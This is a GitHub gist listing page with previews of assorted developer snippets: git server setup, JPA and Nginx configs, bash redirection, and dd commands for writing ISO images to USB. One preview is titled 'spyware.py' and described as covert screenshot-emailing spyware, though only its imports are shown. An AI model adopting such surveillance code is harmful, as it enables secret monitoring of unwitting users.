Skip to content

Instantly share code, notes, and snippets.

View jthmiranda's full-sized avatar
🎯
Focusing

Jonathan Miranda jthmiranda

🎯
Focusing
View GitHub Profile
@Integralist
Integralist / remote-git.md
Created February 21, 2012 09:51
Basic set-up of remote git repository on a standard server

Set-up remote git repository on a standard server

The first thing to do is to install Git on the remote server.

Once you do that the rest of the process is split into three sections:

  1. Server set-up
  2. Local set-up (push commits)
  3. Server (pull commits)
@halyph
halyph / persistence.xml
Created June 25, 2012 19:39
persistence.xml MySQL settings
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
version="2.0">
<persistence-unit name="org.hibernate.tutorial.jpa" transaction-type="RESOURCE_LOCAL">
<description>
Persistence unit for the JPA tutorial of the Hibernate Getting Started Guide
</description>
<provider>org.hibernate.ejb.HibernatePersistence</provider>
@erikreagan
erikreagan / mac-apps.md
Created August 4, 2012 19:18
Mac developer must-haves

Mac web developer apps

This gist's comment stream is a collection of webdev apps for OS X. Feel free to add links to apps you like, just make sure you add some context to what it does — either from the creator's website or your own thoughts.

— Erik

@danidiaz
danidiaz / gist:5579007
Last active December 17, 2015 08:18
bash stuff
cat | grep foo
{ cat aabsdf.xx 2>&1 ; } 2>/dev/null
# http://stackoverflow.com/questions/2342826/how-to-pipe-stderr-and-not-stdout?rq=1
# http://www.gnu.org/software/bash/manual/bashref.html#Redirections
# http://mywiki.wooledge.org/Redirection
@mbruch
mbruch / Activator.java
Last active December 17, 2015 08:18
OSGI Service Implementation
package com.example.miniscout.client;
import org.eclipse.ui.plugin.AbstractUIPlugin;
import org.osgi.framework.BundleContext;
import com.example.miniscout.client.services.LocalDatabaseService;
import com.example.miniscout.shared.IDatabaseService;
public class Activator extends AbstractUIPlugin {
@ricardosiri68
ricardosiri68 / spyware.py
Created May 27, 2013 18:52
Spyware que envia por mail capturas de pantalla ... solo funciona en windows como era de esperarce ^^
from PIL import ImageGrab
import time
import smtplib
import os
import threading
import email
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
@maxidr
maxidr / gist:5864069
Last active December 18, 2015 23:49
Burn iso in a USB
pv ubuntu-14.10-desktop-amd64.img.dmg | sudo dd of=/dev/rdisk3 bs=1m
pv ~/Desktop/linuxmint.iso | sudo dd of=/dev/sdx oflag=direct bs=1048576
@h3
h3 / trynetconf.sh
Last active December 18, 2015 23:49
Try networking configuration and set a restore time (tested on Ubuntu)
#/bin/sh
RESTART="/etc/init.d/networking restart"
FILEPATH="/etc/network/interfaces"
BACKUPPATH="$FILEPATH.BAK"
RESET_TIME="now + ${1:-5min}"
sudo cp -fp $FILEPATH $BACKUPPATH && \
sudoedit $FILEPATH && \
sudo bash -c "echo 'cp -fp $BACKUPPATH $FILEPATH && $RESTART' | at $RESET_TIME" && \
@dimoreira
dimoreira / setup.md
Last active December 18, 2015 23:49
Production setup with RVM + Nginx + Unicorn in Ubuntu

Setup the RVM + Nginx + Unicorn in Ubuntu


Init by installing necessary linux headers

$ sudo apt-get update
$ sudo apt-get install build-essential vim git-core curl
$ sudo apt-get install libcurl4-openssl-dev libx11-dev libffi-dev tcl-dev tk-dev
# This file should be placed on the directory of ~/blog/config
upstream unicorn {
server unix:/tmp/unicorn.todo.socket fail_timeout=0;
}
server {
listen 80 default;
#server_name example.com;
root /home/username/blog/public;